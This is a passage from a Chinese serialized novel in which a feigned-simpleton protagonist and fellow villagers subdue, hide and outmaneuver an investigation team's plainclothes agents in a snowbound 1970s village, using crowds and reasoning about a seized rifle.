声音没变大,可矮壮汉子觉得整个柴房的温度又往下掉了十度。
骨头都软了,彻底软了。
声音从牙缝里往外挤,断断续续的:
“枪……枪不在车上……郑组长亲自带走了……在县招待所……”
“他在等啥?”
矮壮汉子闭了一下眼,喉结上下滚了两回:
“等省城那边的消息……消息一到……就动手……”
杨林松没再问,收刀刹那,一记手刀劈在矮壮汉子颈侧。
汉子的眼珠子往上一翻,整个人软下去,瘫在地上。
第144章 倒计时开始了
杨林松往那矮壮汉子嘴里塞了团棉絮,扯下腰带反绑住双手,往草垛后头一扔。
活儿干得麻溜,前后没超过二十秒。
他抖了抖身上的残雪,推开大队部办公室的门。
炭火忽明忽暗,几双眼睛齐刷刷盯过来。
杨林松把门带上,压着嗓门,脸上那股傻劲儿全没了。
“枪不在车上,被郑少华带回县招待所了。”
他顿了顿:“那帮便衣在等省城的信儿,消息一到,立马动手。”
屋里静了两秒。
啪!
王大炮一巴掌拍在桌面上,猛起身,肋巴骨的伤口扯得他脸一歪,牙帮子咬得嘎嘣响,声音压在嗓子眼里挤出来:
“把全村民兵都集合起来!今晚先下手为强,把村口那十个鳖犊子全缴械!”
周铁山一把按住他肩膀,力道十足,硬生生按到了凳子上。
“拿啥拼?”
这三个字又轻又沉,直接把王大炮的火气掐断了。
“村里几十号民兵,子弹凑一块儿,都不够打一场遭遇战的。”
周铁山的眼神扫向窗外:
“外头那帮人是啥成色?你今天也瞅见了。家伙事儿比咱们精到姥姥家了。硬碰硬?那不叫打仗,那叫送人头!”
王大炮憋得脸通红,嘴张了两回,愣是没憋出一个字。
阿三蹲在墙角,急得膝盖直哆嗦:
“那摇电话啊!找赵副部长搬救兵!县武装部开车两钟头就到!”
“没用。”
周铁山转过身,两手插在大衣兜里,声音发涩:
“郑少华打着省革委会调查组的旗号来的,手续齐全,名正言顺。赵卫东就算想帮咱,明面上也没理由调兵进村。”
他顿了顿,目光扫过每个人的脸:
“更何况,公社和县里不知埋了多少郑家的暗线。轻举妄动,消息当天就能传到省城。到时候不光咱,赵卫东也得搭进去。”
死局。
炉膛里的柴火崩了一声,火星子溅在地上,立马灭了。
没人吱声。
------
哐!哐!哐!
前院的铁栅栏门被摇得直晃。
杨林松腰一沉,右手已经搭在了袖口的匕首上。
他侧身凑到窗边,往外瞥了一眼。
一个便衣站在院门口,搓着手跺脚,脑袋往里探。
是那矮壮汉子的同伴,找人来了。
屋里的空气瞬间凝住。
王大炮的手下意识摸向腰间的驳壳枪,虎口攥紧,食指搭上扳机护圈。
周铁山整个人绷成了一根弦。
一个人撒泡尿的工夫没回来,立马就追到门口,这份警觉性,绝不是普通混混能有的。
杨林松抬起手,五根指头张开,往下一压。
别动。
他的脸在一秒钟就换了模样。
肩膀塌下来,脖子缩进领子里,眼皮耷拉一半,嘴角耷拉着,还挂着一道亮晶晶的哈喇子。
晃晃悠悠走到院门前,拉开闩子,只拉开一条缝,半个脑袋探出去:
“嘿嘿……叔啊,窝头没有了。”
便衣不屑道:“谁要你那破窝头?俺们老四还在里面?”
“嘿嘿……叔啊,那个壮实的叔早就尿完走啦,还嘟囔说外头冻死个人,嗖一下就没影了……”
杨林松缩着脖子就要关门。
没关上。
一只军靴死死卡在门缝里。
便衣的眼神阴沉沉的,一只手推杨林松的肩膀,另一只手已经按在腰后枪套上,身子往里挤。
杨林松“哎呀”一声,被推得往后踉跄两步,一屁股坐在地上。
便衣嘴角一撇,眼睛扫过院子,大脚迈过门槛。
他压根没看脚底下。
仰躺的杨林松左手撑地,右腿早就蓄足了劲。
扫堂腿!
这一腿抽在脚踝上,又快又狠,跟铁棍横扫没啥区别。
便衣脚底一空,整个人直挺挺往后仰倒,后脑勺离地面还有半尺。
杨林松起身的速度,比他摔倒还快。
手刀狠狠劈在颈侧。
闷响一声。
便衣眼珠子往上一翻,直接瘫了,后脑勺砸在雪地上,没闹出多大动静。
吱呀。
办公室的窗边,杨大柱探出半张脸,正好把这一幕看了个满眼。
嘴巴张成圆形,喉咙里卡着一声惊叫,上不来下不去,整张脸白里透青。
杨林松回头瞪了他一眼。
就一眼。
杨大柱浑身一抽,脑袋嗖地缩回窗沿下,比缩头乌龟还快。
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堵嘴、捆手、拖人。
一样的活儿,杨林松又干了一遍。
柴房太浅,堆几捆柴就满了,挡不住仔细搜查。
他弯腰,一手拎起一个人的衣领,往旁边一间拖。
杂物间的门推开,一摞破筐和半袋子烂萝卜堆在地上。
暗门掀开。
阴冷的潮气往上涌,窖底黑咕隆咚的。
往下走,陈远山蹲在角落里,手里攥着一把短柄锄头。
八年逃亡练出的本能。
就算是自己人掀盖板,他的手也没松过。
两个便衣被扔下去,砸在泥地上发出闷响。
“用锄头看死了。”杨林松的声音飘过去,“一个字都不能让他们蹦出来。”
陈远山没吱声,把锄头换了只手,攥得骨节咯吱响。
盖板落下,破箩筐和烂萝卜重新堆好。
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天慢慢亮了,风雪没停。
村口先是安静了一阵,紧接着就乱了。
沈雨溪趴在窗户边上,脸色发白:
八个便衣在卡车旁凑了一会儿。
留下两个人持枪守车,剩下六个端着波波沙冲锋枪,沿村道散开了。
不是瞎散。
往两边一撤,拉出个半月牙的阵势,两翼拉得老长。
走得不紧不慢,每过一个墙角,必定有人贴墙探头,确认安全了,后面的人才跟上。
跟篦子似的,把整条村道篦了一遍。
老刘头眼皮跳了一下,声音哑得发干:
“这帮人是正经练过的。”
沈雨溪额头渗出汗珠,手里的铅笔攥得都快折了。
那股压迫感,沉甸甸的,从村道那头一点点碾过来。
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杨家
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大院。
杨金贵揣着王大炮批的条子,哆哆嗦嗦从院里出来,两条腿直打晃。
走到村口,迎面撞上两个端枪的黑影。
杨金贵当场就瘫了,屁股墩在雪地上,两只手高高举过头顶,条子攥在手里,抖得厉害。
便衣走过来,一把夺过条子,上头有红星大队的公章。
两个便衣对视一眼,挥挥手。
放行了。
杨金贵连滚带爬蹿出村口,消失在灰蒙蒙的雪幕里。
杨林松双手扒在院墙角落上,只露出一双眯着的眼睛,盯着村口。
放得太痛快了。
郑少华走之前,指定交代过:杨家的人出村,不拦。
甚至巴不得他们出去。
出去干啥?
找人、求情、到处乱嚼舌根。
嚼得越多,杨林松的底越兜不住。
这是郑少华下的饵。
又过了半柱香的工夫,搜村的便衣转了两圈,没找到人,阵型散了。
领头的站在晒谷场中间,脸色铁青。
他回头瞅了眼大队部院子。
有辆破三轮车。
老刘头的三轮。
他带着两人小跑过来,嚷嚷着:
“这车谁的?用一下!”
杨林松打开铁栅栏门,没拦。
大白天,三个人,不好拦。
领头那人翻身骑上去,两脚猛蹬,链条哗啦啦响,三轮车带着一溜雪沫子,歪歪扭扭冲出村口。
去搬救兵了。
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杨林松进屋,扫了一圈屋里的人。
“他骑三轮车到县城,一个半钟头。找到郑少华汇报,半个钟头。郑少华带人赶回来,最快半个钟头。”
他竖起三根手指:“两个半钟头。”
没人说话。
“熊神洞核心库的东西还没清点完,那份带‘郑’字的日军文件,还在沈知青怀里,没来得及抄备份。”
他顿了顿,声音压得更低:
“村里能打的,算上我,一只手都数得过来。”
两个半钟头。
啥都干不完,可啥都得干。
炉膛里最后一块柴烧塌了,火星子扑了一地。
叮铃铃——
值班室的电话响了。
所有人都吓了一跳。
周铁山大步过去,抓起话筒:“喂?”
话筒里传来赵卫东的声音,带着压不住的急切:
“周副部长,红星大队那个张桂兰……郑少华以现行反革命的罪名,交到县革委会了。”
“什么!”周铁山攥话筒的手都青了。
赵卫东又补了一句:
“他在下棋。这颗子,不是用来吃的,是用来将军的。”
电话挂了。
周铁山慢慢放下话筒,转过身。
屋里的人都盯着他。
他看向杨林松,开口道:
“张桂兰,被抓去了县革委会。罪名,现行反革命。”
杨林松站在窗边,胸口那颗熊爪牙贴着皮肉,凉丝丝的。
他脸上没啥表情,目光掠过窗外剩下的几个便衣黑影,只是伸手把大衣领子拢紧。
两个半钟头。
倒计时,开始了。
第145章 大喇叭炸了,便衣懵了
“现行反革命?”
周铁山又念叨了一遍,怀疑自己耳朵出毛病了。
王大炮一拳砸在膝盖上,牙帮子咬得嘎嘣响:
“这帽子他也敢扣?张桂兰那老娘们再不是东西,也犯不上扣这么大一顶帽子!”
没人接话。
角落里的杨大柱哆嗦个不停,张了张嘴,想问“我妈会不会被枪毙”。
可嗓子眼儿里愣是挤不出一个字。
杨林松站在窗边,眼皮都没抬。
现行反革命,搁这年月,这五个字比枪子儿还沉。
可他心里连个水花都没翻。
那老娘们成天鸡飞狗跳到处点火,早晚得把自个儿烧着,只不过这回递火的,换成了郑少华。
他盯着五斗橱上那座三五牌座钟,时针刚过六,分针刚过四。
手指在桌面上轻轻敲了一下:“两个半钟头。”
屋里的人齐刷刷看过来。
他把声音压到最低,每个字都干脆利落:
“枪是饵,张桂兰是刀。郑少华要的不是定她的罪,是逼咱们乱。”
他顿了一下,又说:
“咱们一乱,就得露马脚。一露马脚,他杀回来就有理由把咱这儿翻个底朝天。”
王大炮张了张嘴,啥词儿也没憋出来。
杨林松的目光从每个人脸上扫过去。
老刘头靠墙根眯着眼,黑皮右肩血迹干了腰板挺得笔直,阿三蹲角落不抖了,沈雨溪攥着铅笔站桌边。
“大炮叔,去值班室,把村口大喇叭打开。”
王大炮抬头:“喊啥?”
“喊实话,就说省里来的调查组,要抓烈士家属。”
王大炮愣了一秒,脸色立马变了,压低嗓门:
“你疯了?老百姓掺和进来,万一那帮人下死手……”
杨林松直接打断他:
“不会。那帮便衣打着省革委会调查组的旗号,名头越大,手脚越短,他们不敢对老百姓动手。”
他顿了顿,声音更沉了:“真正的铜墙铁壁是啥?是群众,是千百万真心实意地拥护革命的群众。”
“然后呢?”王大炮眼珠子亮了。
“去县城来不及,路上万一撞上郑少华的车队,前后堵死,一个都跑不了。去公社,公社近,步行半个多钟头就到。消息递出去,公社再装聋作哑,也得派个人来瞅瞅。多一双眼睛盯着,郑少华回来就不敢放开手脚造次。”
王大炮愣了一秒,下一秒直接从凳子上弹起来,肋巴骨的伤扯得脸都歪了,可腿脚比谁都快,三步蹿进值班室。
啪嗒!
开关一拨,村口电线杆上睡了一个多月的大喇叭,直接炸了。
“全村社员注意了!”
王大炮的嗓门能把房盖掀翻,灌进喇叭里,整个红星大队都跟着颤:
“省城来的调查组,把烈士遗孤的家属抓走了!抓去县革委会了!扣的帽子,现行反革命!”
“张桂兰是不咋地,可她是烈士杨卫国的亲嫂子!是咱红星大队的人!咱自个儿的人,轮得着外头人来抓?!”
“老少爷们儿!有种的!去村口瞅瞅,到底是谁在咱家门口耍横!”
“妇女乡亲们,咱村的妇女被人乱扣帽子,这份冤该不该帮她讨回来!”
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喇叭在便衣头顶炸响,七个端着波波沙的汉子面面相觑。
有人刚要迈腿往大队部冲,身后的村道已经炸锅了。
门一扇接一扇开了,先出来的是妇女,张家嫂子、李家大姑、赵家二婶,一个比一个嗓门大。
接着是老头老太太,拄拐的、弓腰的、咳嗽带喘的,呼啦啦全涌了出来。
不到一袋烟的工夫,晒谷场上聚了三十多号人,胳膊上缠着白布条,往村口猛涌。
便衣想拦,枪口抬起来又压下去。
省革委会的旗号不是盾牌,是枷锁,当着三十多个老百姓的面开枪?
这消息传出去,郑少华的仕途都不够赔的。
人潮一推,便衣被挤得节节后退,枪管子差点戳到前排大娘的脸上。
大娘没躲,反倒往前凑一步,把胸脯顶在枪口上,嗓子扯得震天响:
“打啊!有本事打死俺!俺男人当年扛枪打老日的时候,你爹还穿开裆裤呢!”
便衣的手立马抖了。
------
杨林松没瞅村口那边,转头看向阿三:
“等大炮叔带人涌到村口,你从后院开车,走土沟绕出去。”
阿三猛点头。
“往东北方向,走废弃的伐木道,在枯树林里蹲着。那地方离大队部不远,能远远瞅见进村的正路。一看见郑少华的车队,提前半分钟回来报信。”
阿三攥着车钥匙,手指头还抖,可眼睛里的光亮得很。
杨林松又看向黑皮:
“肩膀还能使唤不?”
黑皮没废话,伸手把腰带往紧勒了一扣,皮带勒进棉袄里,右肩的绷带扯动,渗出来一点新鲜的红,眉头都没皱一下。
杨林松点了下头:
“带两个民兵,插到便衣和大队部中间。你在鬼市那套,耍赖、撒泼、拖时间,全使出来。堵死后院方向,给阿三开车打掩护。”
黑皮嘴角咧了一下,分不清是笑还是疼。
“得嘞。”
转身就出门,脚步带风,伤臂垂着,可走路的架势半点不含糊。
杨林松再转向周铁山:“周叔,你带几个民兵守前院。便衣要是硬闯,你顶着。”
周铁山点头就走。
------
村口已经乱成一锅粥,二十多号村妇把七个便衣围在正中间,白布条在雪地里晃得人眼晕。
一个便衣想从侧面绕过人堆,往大队部摸。
黑皮从斜刺里插上去,用伤肩迎面一贴,绷带上的血蹭在对方灰棉袄上,接着往地上一坐。
“打人了!”嗓子扯得跟杀猪似的。
五六个村妇立马围过来,七嘴八舌炸开了:
“你们省城来的打人啊?”
“伤号都打!”
“没王法了!”
便衣进退不得,脸涨得跟猪肝似的,枪
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管子杵在半空,不知道该指哪儿。
七条枪,愣是被一群老娘们缠死在原地,动弹不得。
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后院。
阿三踩下油门,吉普车闷声往土沟里钻,轮胎碾着冻土的声响,全被村口的嚎叫声盖得严严实实。
车尾消失在沟沿底下,连个烟都没冒。
杨林松站在后门口,确认车影没了,转头看向沈雨溪和老刘头,啥也没说。
沈雨溪把怀里的日军文件压紧,铅笔别进兜里。
老刘头拎上工具箱,里头的铁丝和钳子磕碰出轻响。
两人从后院贴着墙根出去,猫着腰三步并两步,一头扎进后山的红松林。
雪还在下,脚印很快就被新雪盖得干干净净。
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杨林松关上后门进屋,屋里就剩他,还有值班室角落里缩着的杨大柱。
那怂货把脑袋埋在膝盖里,浑身哆嗦个没完,一个字都不敢蹦。
杨林松没理他,转身去了后院杂物间。
他掀开破筐和烂萝卜,拉开暗门,顺着梯子下了菜窖。
底下阴冷潮湿,陈远山蹲在角落,锄头横在膝盖上。
两个便衣被五花大绑塞在墙根底下,嘴里堵着棉絮,眼珠子直转。
“外头乱了。”
杨林松蹲下来,声音压得只有他俩能听见。
“两个半钟头内,不管上头闹成啥样,你看死这两人,一个字都不能让他们蹦出来。”
陈远山没吭声,把锄头从膝盖上提起来,往泥地上狠狠磕了一下。
嘭!
闷响在窖底弹了一圈。
墙根底下的矮壮汉子正拿后背蹭绑带,想松动松动。
这声响一落,他整个人立马钉在原地,脖子缩进肩膀里,不敢动了。
杨林松看了陈远山一眼。
这在深山里活了八年的主,心比冻土还硬。
他爬上梯子,盖好暗门,把破筐和烂萝卜码回原位。
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熊神洞,核心库。
手电光柱打在那扇暗红色的铁门上。
沈雨溪站在门口,呼吸压得浅浅的,额头渗着细汗。
老刘头蹲在门框内侧,从工具包里掏出几根细铁丝,都是从大队部杂物间拿的,不粗不细,刚好合用。
两根粗手指头捏着铁丝头,往门框内侧的石缝里塞,铁丝贴着石壁往上走,横过门槛,猫腰一绕,另一头扎进对面碎石堆底下。
老刘头手指头又粗又硬,关节上全是茧子。
可缠起铁丝来麻溜得很,一圈一拧,紧实服帖。
沈雨溪把手电往门框上照了照,低声说:
“再高点。”
老刘头往上挪了半寸,把铁丝拧死,直起腰拍了拍手上的灰。
两人对视一眼,老刘头嘴角往上牵了一下。
不是笑,是心里有数。
“郑少华推开门,脚下绊着东西,低头瞅的那几秒,够了。”
沈雨溪点点头,起身转头就走。
“咱们得马上回去,不知道赶不赶得及。”
第146章 搜不到,就是赢
村口的雪地早被踩成泥汤子了。
二十多号妇女,再加上老少爷们,拢共三十多号人,把七个便衣围在当间儿,白布条在风雪里甩来甩去。
哭的哭,骂的骂,嗓门一个比一个亮,比大集还闹腾。
便衣被挤到卡车跟前,往前迈不动,往后退不了。
又一个便衣撑不住了,拨开前排两个大娘,侧身往大队部方向钻,步子快,肩膀压得低。
没走出三步,坐在地上的黑皮一伸腿。
便衣往前一迈脚,结结实实踩在黑皮的腿上。
“踩死人喽!”
嗓门拔到天灵盖,比杀猪还响三倍。
便衣急了眼,枪口往下一压,怼在黑皮脑门上。
黑皮没躲,仰着脑袋,鼻尖快贴上枪管,嘴角往旁边一扯,一字一顿:
“有种你就开!”
贴着枪口的皮肉,连个汗珠子都没冒。
便衣的食指搭在扳机护圈上,手腕细颤。
开不了。
三十多双眼睛盯着,六七个大娘离枪口不到两步远。
这一枪下去,不是杀人,是自个儿找死。
黑皮就那么坐在雪地里。
便衣僵了五秒,枪口往上抬了半寸,牙帮子咬得死紧,撤了。
------
远处的枯树林子里,引擎声撕开雪幕。
阿三蹲在一棵断了的落叶松后头,十根手指头嵌进冻裂的树皮缝里,攥得骨节发酸。
他选的位置贼刁钻,废弃伐木道拐弯的高坡,正路小道全在眼皮子底下。
正路上没动静。
可小道上,两道强光劈开雪幕,直直扎过来。
是吉普车,后头还跟着一辆卡车,车厢篷布鼓囊囊的,晃得厉害。
不走正道,专挑废弃伐木道走!
阿三脑子里嗡的一下。
完犊子了!
这车速,他就算现在蹿上去打火,也赶不回去报信了。
他趴在雪窝子里,眼睁睁瞅着两道灯光拐过弯道,车尾吞进雪雾里没了影。
心口撞得胸腔生疼,可人钉在原地一动没动。
跑不赢,就别跑。
杨爷说过,慌了阵脚,比敌人先到还要命。
------
郑少华的吉普车停在村口。
车门推开,他先下来,大衣领子竖得老高,目光扫过村口的场面。
妇女已经走了一半,跟着王大炮往公社去了,剩下的站在远处瞅着,没敢再围上来。
雪地踩得稀烂,到处是脚印和白布条。
一个便衣从卡车上翻下来,就他一个。
是一大早去县城报信的便衣头子。
三轮车没回来,人倒跟着车队先回来了。
他小跑过来,脸上又窘又急。
郑少华瞅了他一眼,又扫了圈剩下的便衣,嘴角往下耷拉半分。
“少了两个,还没找着?”
全都低着头,没人敢吱声。
郑少华已经转头,盯着大队部的方向,一个字砸出来:
“搜!”
------
周铁山带着三个民兵堵在铁栅栏门前,步枪斜挎在胸口,枪口朝下,可没人把手从枪托上挪开。
他瞅见了,郑少华领着八个便衣直奔大队部过来。
周铁山的后槽牙咬得嘎嘣响。
郑少华是省革委会调查组组长,手里攥着省里的红头批件,名正言顺。
硬拦,那就是抗命。
抗的不是郑少华的命,是省革委会的命。
这顶帽子扣下来,别说他一个公社武装部副部长,十个也兜不住。
周铁山往旁边让了半步。
铁栅栏门被一脚踹开,哐当一声巨响,撞在墙上弹了好几下。
八个便衣端着枪涌进来,靴子踩在冻土上咔咔响。
办公室先遭了殃,桌子掀翻,抽屉拽出来扔地上,五斗橱的柜门被扯开,文件哗哗撒了一地。
值班室里,杨大柱被人从凳子底下拽出来。
“其他人呢?”
杨大柱牙齿打战,声音碎得稀烂:
“不……不知道……我啥也不知道……”
便衣把他往地上一摔,转身就走。
食堂也翻了一遍。
锅碗瓢盆叮当乱响,搪瓷盆滚到地上转了三圈才停,啥也没有。
柴房门推开。
一摞劈柴码得整整齐齐,靠墙一堆干草垛,上头搭着两张破草席。
便衣低头扫了一圈,抬脚踢了踢柴堆,没动静。
转身走向杂物间。
门一推,满屋子霉味往鼻孔里钻。
破筐叠着破筐,几袋子烂萝卜歪在门口,冻得邦邦硬。
头一个进去的便衣一脚踩在萝卜袋子上,脚底一滑。
“操!”
膝盖硬生生磕在地上,裤腿蹭了一片黑乎乎的烂菜汁,烂萝卜的冰碴子扎进裤缝,一股子酸臭熏得他直犯恶心。
他低头一瞅,萝卜稀烂如泥,汤水黏糊糊挂在小腿上。
“真晦气!他娘的倒血霉了!”
他踉跄站起来,猛拍两下裤腿,烂菜汁甩出去一片,一脸嫌弃,头也不回就出去了。
后面跟的便衣探头瞅了眼满地的烂萝卜汤,鼻子一皱,脚没迈进去,也走了。
地面底下,陈远山半跪在菜窖底,锄头横在胸前,嘴唇紧抿,呼吸压得几乎没声。
两个绑着的便衣就在身后一步远。
矮壮汉子的眼珠子在黑暗里乱转,脖子上的筋绷得死紧,嘴里的棉絮堵得严严实实。
头顶,靴子声从杂物间门口一步一步远了。
陈远山的手指松了一点,又攥紧。
没被翻出来。
那袋烂萝卜,救了他的命。
------
后墙外,沈雨溪和老刘头贴着墙根,半个身子埋在雪堆里。
两人听见里头的吆喝声和踹门声,脚步钉死,后背贴紧冻墙面,冰意顺着脊柱往上爬,一口气堵在嗓子眼,上不来下不去。
老刘头一只手按在沈雨溪肩膀上,五根手指攥得死紧。
别动。
两人在雪堆里蹲了整整三分钟,竖着耳朵听。
等后墙那边没了动静,才猫着腰,顺着墙根一寸一寸往后院拐角挪。
脚步落在雪上,比猫还轻。
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郑少华没进屋搜,就在前院站着,两手插在大衣兜里。
他和周铁山面对面瞅着,谁也不吭声。
便衣头子跑过来,额头冒冷汗,在零下三十度的天里愣是冒汗:
“郑组长,里里外外都搜遍了,没有。”
郑少华没吱声,目光绕着院子转了一整圈。
转到东墙根的时候,顿住了。
杨林松坐在围墙上,两条腿耷拉着晃来晃去,脚后跟一下一下磕着墙砖,两只胳膊抱着膝盖缩成一团,脸上挂着怯生生的傻笑,眼神怯怯地往下瞅人。
不知道啥时候上去的,便衣搜了里里外外,愣是没人瞅见他啥时候爬上去的。
是一开始就蹲在那儿,还是这帮人翻箱倒柜的工夫,他悄没声摸上去的?
没人说得清。
郑少华盯着他看了两秒:
“王大炮呢?他咋不出来?”
便衣头子哆嗦了一下,声音发虚:
“王大炮……带着一帮妇女出村了。我也是……刚刚……才知道的。”
啪!
一脚踹在便衣头子小腿上,踹得人踉跄两步差点趴下。
郑少华收回腿,转头盯着杨林松,眼神沉得吓人:
“他以为救得了那个老娘们?”
杨林松缩了缩脖子,眼珠子滴溜溜转了一圈,嘴巴张了又合,憋了半天冒出一句:
“啥……啥老娘们?”
郑少华瞅了他五秒。
这五秒里,杨林松的心跳稳得跟上了发条一样,一下都没多蹦。
他眼皮耷拉着,脖子缩在棉袄领子里。
全天下最没威胁的一张脸。
郑少华收回目光,转身走向吉普车。
车门关上,引擎发动,一辆卡车紧随其后。
尾灯在风雪里亮了两秒,拐过村口的弯道,没影了。
------
杨林松从墙上跳下来,稳稳扎进雪窝子里。
他站在原地不动,耳朵又竖了十秒。
引擎声越来越远,远到只剩风声和雪粒子打在屋檐上的沙沙声。
他关上铁栅栏门,插上门闩,转身绕到后院。
后院的拐角处,两个影子猫着腰溜进来。
沈雨溪的头发上全是雪,脸白得没一丝血色,胸口还在起伏,鼻尖冻得通红,可眼睛亮得很。
老刘头拎着工具箱,箱子底下的铁丝和钳子用布裹死了,一点声响都没有。
杨林松瞅了两人一眼,没问熊神洞的事。
不用问,回来了,就是办妥了。
他走到杂物间,搬开破筐和烂萝卜,掀开暗门:
“陈叔,没事了。”
窖底传来一声长长的吐气声。
杨林松回到办公室,炭火早灭透了,炉膛里一片死灰。
他往里头塞了两把干柴,划上火柴,火苗蹿起来,映在他脸上。
那副人畜无害的样子早就没了。
搜不着,就是赢。
第一局,他的。
炉膛里的火烧得噼啪响,热气一点一点把屋里的冷意往外顶。
可刚有了点温度,值班室的电话又响了。
第147章 他敢拍出来吗?
叮铃铃——
铃声扎得耳膜生疼。
周铁山三步并两步蹿进值班室,一把抄起话筒。
“周铁山!你给我解释解释!”
话筒里的吼声大得往外漏,公社**老赵的嗓门能把房顶掀了。
杨林松靠在办公室门框上,一个字没落下。
“王大炮!红星大队的王大炮!带着几十个老娘们堵了公社大院的门!办公楼都快让他们拆了!你这个武装部副部长是干啥吃的?!”
周铁山攥着话筒,指节发白:“赵**,这事有原委,省里来的调查组在我们村……”
“你闭嘴!”
劈头打断,声音又拔高了八度。
“还有!杨金贵!那个杨金贵天一亮就跑到公社来了,见人就嚎,说啥‘省里来人抓了烈士家属’,整条街都传遍了!供销社门口围了一堆人看热闹!我这电话从早上接到现在就没断过!”
周铁山深吸了一口气,嗓子压到最低:“赵**,事情闹到这份上,公社是不是该出面协调……”
“协调?”
公社**的声音突然冷了下来,刚才那股火气全没了,换上一种滑不溜手的官腔:
“省革委会的调查组定性现行反**,移交县革委会处理。县里自然会查清楚。正式调查结果出来之前,公社不便表态。”
周铁山嘴唇动了两下,话筒那头没给他张嘴的机会,撂下最后一句:
“周铁山,我最后提醒你一句,管好你自己,别把祸水往公社引。听明白了?”
嘟——嘟——嘟——
忙音。
周铁山攥着话筒,手背上青筋一根根鼓起来,慢慢把话筒搁回座机,转身进了办公室。
所有人的目光都钉在他脸上。
“公社不管。”
三个字干巴巴的,砸在地上没一点回响。
“赵**原话,省革委会定的性,县里会查,公社不便表态。”
屋里炉火刚烧起来,可这几句话兜头泼下来,让人从天灵盖凉到脚后跟。
老刘头手里的烟袋锅停在半空,拇指摁在烟窝上没动。
沈雨溪抿紧的嘴唇没了血色。
公社缩了。
郑少华仅凭“现行反**”五个字,就把上头的机关钉死在原地。
红星大队的电话线、人脉线、求援线……
全断了,就剩一座孤岛。
“妈!”
角落里炸出一声嚎叫。
杨大柱从凳子底下连滚带爬蹿出来,膝盖磕在地上砰砰响,两手死死抱住周铁山的凳腿,鼻涕眼泪糊成一片:
“周叔!求求你救救我妈!她就是嘴碎,她不是反**啊!你打个电话,再打一个,求求公社!”
脑袋往凳子腿上一下一下磕,嘭嘭嘭,额角磕出了红印子。
啪!
一只脚踹在杨大柱腰眼上,不重不轻,刚好把人踹回墙根。
杨林松收回脚,弯腰从炉膛边抄起火钳,拨了拨炭火:
“哭有啥用?嚎丧也得等人**再嚎。”
火钳戳在炭块上,嗤啦一声,火星子蹦出来,落地上灭了。
杨林松盯着炉膛里窜动的火苗,声音没一丝波澜:
“这就是为啥那帮便衣没拦我大伯出村的原因。”
屋里一下安静了。
“郑少华不拦杨金贵,是故意的。”
杨林松把火钳往炉沿上一搁,转过身:
“杨金贵那张嘴,到了公社能干啥?只会嚎。嚎得越凶,省里抓烈士家属这事就传得越广。传得越广,公社越怕沾上。一沾上,就缩。”
他竖起一根手指头:
“一个蠢货的嘴,比十条封锁线都好使。郑少华一个子儿没花,一条命没搭,就把咱们的外援全切断了。”
这话一出来,屋里跟灌了铅似的沉。
老刘头的烟袋锅慢慢从嘴角拿下来,眯缝眼里闪过一道冷光。
沈雨溪的脸又白了一层,张了张嘴,声音压得很低,可每个字都带着刺:
“他手里还攥着那条枪。”
屋里的空气被抽走了一半。
“莫辛-纳甘,制式**,跟敌特武器同源。只要他把枪往桌上一拍,私藏**、通匪通敌……够**三回。”
没人吱声。
杨大柱缩在墙根底下,嘴唇哆嗦,脸上血色褪得干干净净。
哐当!
火钳砸在地上,脆响。
杨林松嘴角往旁边一扯,不是笑,比笑还冷:
“他敢拍出来吗?”
屋里每个人都愣了。
周铁山抬头,沈雨溪嘴唇张了一下,老刘头的眼皮跳了一下。
杨林松靠在椅背上,两条腿往前一伸,姿势散漫得很:
“枪在他手里,没错。可这条枪咋到他手里的?”
他侧过头,看向墙根底下缩成一团的杨大柱:
“杨大柱,你自己交代的。矮壮汉子,肩膀跟堵墙似的,半夜拦人,说‘把枪给我,你全家没事’,还说不给就点火烧屋。南方口音。”
杨大柱浑身一哆嗦,牙帮子咬得咯咯响。
杨林松的目光从屋里每个人脸上扫过去:
“在座的,每个人都听见了。”
他一掌拍在桌面上,搪瓷缸子蹦了一下:
“郑少华要是敢把这条枪亮出来当证据,头一个问题就是,枪从哪来的?”
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他伸出手指头,一根一根掰:
“张桂兰举报炕洞藏枪。好,郑少华亲自带人搜了,炕洞里空空如也。枪不在炕洞,却在他手里。”
“咋解释?”
没人接话。
“唯一的解释……”
杨林松字字如钉:
“他的便衣,半夜入户,拿枪威胁村民,连抢带夺。省革委会调查组的人,趁着夜色强闯民宅,暴力**村民手中的物品。”
他停了一拍,让这句话在每个人脑子里转一圈:“这比私藏**的罪名,大还是小?”
周铁山的瞳孔猛缩了一下。
沈雨溪身子微微发颤。不是怕,是脑子里突然通了电,浑身起了一层鸡皮疙瘩。
杨林松往椅背上一靠:
“杨大柱是活人证。菜窖底下那个矮壮汉子,是活物证。郑少华亮枪,就是把自己的黑手摊在天底下。”
他捡起地上的火钳,在手里颠了两下:
“再说杨金贵。这老东西在公社嚎得满天飞,省里抓烈士家属,人尽皆知。事闹得越大,县里要给张桂兰定罪,就越得拿出铁证公开服众。可他一旦公开这条枪,来源经不起查。”
杨林松把火钳往炉沿上轻轻一搁:
“郑少华现在是骑虎难下。”
“不亮枪,现行反**就是顶空帽子,扣不**。”
“亮枪,就是自己脱裤子让全天下看他的屁股。”
屋里静了三秒。
周铁山长长吐出一口气,连肩膀都塌了半寸,往凳子上一坐,后背靠住墙,闭了一下眼。
老刘头吧嗒了两口空烟袋,烟窝里啥也没有,可他嘬得起劲儿,满是褶子的脸上,皱纹舒展开了。
沈雨溪手心全是汗,可不抖了。
黑皮靠在门框上,伤臂往身侧一收,嘴角咧了一下。
杨大柱还缩在墙根,脑袋埋在膝盖里,但嚎哭停了。他没全听懂,可“死不了”三个字,听明白了。
杨林松拍了拍手上的草木灰,站起身走到窗边。
外头的雪小了些,风没停,灰蒙蒙的天际线尽头,黑瞎子岭的轮廓闷在云雾里,只露出暗沉沉的影子。
村口只剩八个便衣的影子,缩在卡车后头跺脚搓手。
“张桂兰死不了。”
他的声音平平淡淡:“公社不管也罢,现在咱们啥都不用干。”
他转过身,把炉门关上,铁片子哐当一声扣死。
炉膛里的火被闷住了,可热气还在从缝隙里往外钻,顶得人脸热乎乎的。
“守着暖炉,等。”
“等郑少华自己想明白。这条枪,他到底是敢亮,还是不敢亮。”
第148章 三十年前的鬼名单
杨大柱不哆嗦了。
不是不怕了,是怕过了头,反倒让炉火把那口吊着的气烘了回来。
眼神从散的、碎的,一点点拧到了一块儿。
他从墙根底下手脚并用地爬出来,膝盖蹭着地面,屁股一拱一拱的,整个人往炉火旁边挪了半尺。
离杨林松脚边不到一步远,才停。
没人搭理他。
他也不吭声,缩着脖子蹲那儿,两只手伸到炉门前烤着,眼珠子一个劲儿往杨林松脸上瞟。
那个眼神,杨林松太熟。
